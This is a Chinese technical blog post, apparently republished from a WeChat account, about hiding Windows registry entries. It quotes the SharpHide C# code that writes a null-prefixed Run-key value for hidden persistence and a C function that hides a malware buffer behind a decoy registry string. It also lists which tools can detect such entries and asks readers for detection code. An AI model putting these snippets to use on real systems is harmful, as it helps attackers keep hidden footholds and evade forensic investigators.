“擂台赛”真是压力山大!实在没有时间,更谈不上研究一些东西,看到吴总的“数字孪生XXX技术”只能膜拜膜拜!现在发现,烦闷的时候,码码字是个解压的好办法,能够暂时什么都不想了,只澄净在其中。
找一个老一点的话题“注册表隐藏”,其实网上有很多这样的文章,我也基于这些文章的基础上,来谈下我对它的认识和感受,可能也脱离不了那些文章的框框,但算是一个收集归纳,也是我对这个点的理解。
一、从工具开始
在网上搜索了下,从2019年开始,每年都有人介绍这个,还真是经久不衰。我第一反应是难度不大,大家都能上手摆弄两下,而且还很有趣。
看看最近的文章《创建隐藏注册表项的工具:SharpHide》,里面介绍到:“一个很好的后门持久性技巧,用来混淆DFIR调查。使用NtSetValueKey本机API创建隐藏(以空结尾)注册表项。这是通过在UNICODE_STRING键值名称前面添加一个空字节来实现的。”大家可以看那篇文章,也可以接着往下看。
空字节,就是“0x0000”,就是“”。对于Windows系统,”” (0x0000)会被识别为字符串的结束符,所以在使用Regedit对该字符串读取的过程中,遇到开头的 ””,会被解析成结束符,提前截断,导致读取错误。
在这个工具SharpHide运行后,有三个功能:
在注册表的Run下创建一个键值为:“keyvalue=bla.exe”或带参数的“keyvalue=bla.exe argument=arg1 arg2”;以及delete该键。
它分为一般用户和管理员权限,分别对应着HKCU和HKLM;均在SoftwareMircosoftWindowsCurrentVersionRun下面;
在源码中创建的键名是“Software”,键内容为“c:windowstempbla.exe”,当我们用程序sharphide action=create keyvalue="c:windowstempbla.exe"时,创建成功了,用regedit却看不到它的内容,并报错,阻止查看。
我们先来研究下:
UIntPtr regKeyHandle = UIntPtr.Zero;
string runKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
string runKeyPathTrick = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
uint Status = 0xc0000000;
uint STATUS_SUCCESS = 0x00000000;
if (IsSystem || IsElevated)
{
Console.WriteLine("n[+] SharpHide running as elevated user:rn Using HKLM\{0}", runKeyPath);
Status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);
}
else
{
Console.WriteLine("n[+] SharpHide running as normal user:rn Using HKCU\{0}", runKeyPath);
Status = RegOpenKeyEx(HKEY_CURRENT_USER, runKeyPath, 0, KEY_SET_VALUE, out regKeyHandle);
}
UNICODE_STRING ValueName = new UNICODE_STRING(runKeyPathTrick)
{
Length = 2 * 11,
MaximumLength = 0
};
IntPtr ValueNamePtr = StructureToPtr(ValueName);
UNICODE_STRING ValueData;
if (arguments.ContainsKey("arguments"))
{
ValueData = new UNICODE_STRING(""" + arguments["keyvalue"] + "" " + arguments["arguments"]);
}
else
{
ValueData = new UNICODE_STRING(""" + arguments["keyvalue"] + """);
}
Status = NtSetValueKey(regKeyHandle, ValueNamePtr, 0, RegistryKeyType.REG_SZ, ValueData.buffer, ValueData.MaximumLength);
注意:runKeyPathTrick = “SOFTWARE\”,这里有个,经过unicode后就成为了“0x0000”,这在windows里是个截断字符,后面的内容就丢弃,成为了隐藏部分,不显示。但它的值“c:windowstempbla.exe”还是存在的,写了一个显示窗体的bla.exe放在temp目录下,重启后,这个bla运行了,说明这个程序确实在注册表中的启动项了。
再注意,上面的NtSetValueKey,这是个WIndows Native API,对注册表进行创建、修改和删除等操作,这些操作,单纯的使用 Regedit 查询是查询不到的。
二、Native API
以Nt开头的都是Native API,而不是Windows API,如RegOpenKeyExA。
如果使用 Native API ,则需要导入 ntdll.dll;
如果使用 Win32 API ,则需要导入 advapi32.dll;
Win32 API 和 Native API 是有差别的。以下内容是可实现隐藏注册表的根本原因:
在 Win32 API中,以 NULL结尾的字符串被解释为 ANSI(8位)或宽字符(16位)字符串。在 Native API中,以 NULL结尾的字符串被解释为 Unicode(16位)字符串。尽管平时这个区别并不重要,但是却带来了一个有趣的情况,举个例子:
当使用 Native API来构造特别的名称时,不能使用Win32 API来对其进行查询。这是因为作为计数的Unicode字符串的名称可以包含NULL 字符(0),例如“key”,这个Unicode字符串长度为4,但是在使用 Win32 API来进行查询,这是因为在Win32 API中,“key”字符串的长度为3,不满足查询条件。
之所以Regedit看不到,是因为Regedit使用的是Win32 API。
用户模式调用本机系统服务是通过ntdll.dll来实现的。表面上,Win32 函数为编程人员提供了大量的API接口来实现功能,但这些Win32 函数只不过是一个API接口的容器而已,它将Native API包装起来,通过系统服务来实现真正的功能,也就是ntdll.dll是系统调用接口在用户模式下一个外壳。
三、用工具查看结果
用regedit看不了,那我们怎么查看呢,用autoruns呢?截图看下:
发现不了。
还是用wke导出hive文件,再来看下:
用regedit explorer查看,
发现了空字节。
本来想写个代码来查看这个键值情况,用NtQueryValueKey查询却查询不了。这个工具读取的是hive文件,所以可以读取到,看下图:
在注册表中直接查询,除非知道名字,用RegScanner,
四、无文件的注册表存储二进制
第一种隐藏技术,是针对ValueName做的处理。Fileless Malware技术,是有效的针对ValueData的内容进行处理。
这里使用的是Fileless Malware技术,但是在查看键值时,也会像第一种技术一样会提示错误,但是除了指定的可见字符外,会将其他内容进行隐藏。与第一种技术一致,该内容无法导出。
char decoy[] = "(value not set)"; ....
void writeHiddenBuf(char *buf, DWORD buflen, const char *decoy, char *keyName, const char* valueName)
{
HKEY hkResult = NULL;
BYTE *buf2 = (BYTE*)malloc(buflen + strlen(decoy) + 1);
strcpy((char*)buf2, decoy);
buf2[strlen(decoy)] = 0;
memcpy(buf2 + strlen(decoy) + 1, buf, buflen);
if (!RegOpenKeyExA(HKEY_CURRENT_USER, keyName, 0, KEY_SET_VALUE, &hkResult))
{
printf("Key opened!n");
LSTATUS lStatus = RegSetValueExA(hkResult, valueName, 0, REG_SZ, (const BYTE *)buf2, buflen + strlen(decoy) + 1);
printf("lStatus == %dn", lStatus); RegCloseKey(hkResult);
}
free(buf2);
}
先看看writeHiddenBuf:
-
将decoy设置成 (value not set)
-
然后将我们利用Fileless Malware 处理过的buffer放在(value not set)后面
-
可知,Regedit会自动截断,达到隐藏的效果
只要RegSetValueExA传递的decoy字符串的长度+隐藏缓冲区的长度,它将把整个缓冲区写入注册表,达到隐藏效果。
五、请求
如果有对NtQueryValueKey写出这个隐藏的空字节读取,更甚检测的代码大神,请发我学习下,感谢!
原文始发于微信公众号(MicroPest):注册表隐藏
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论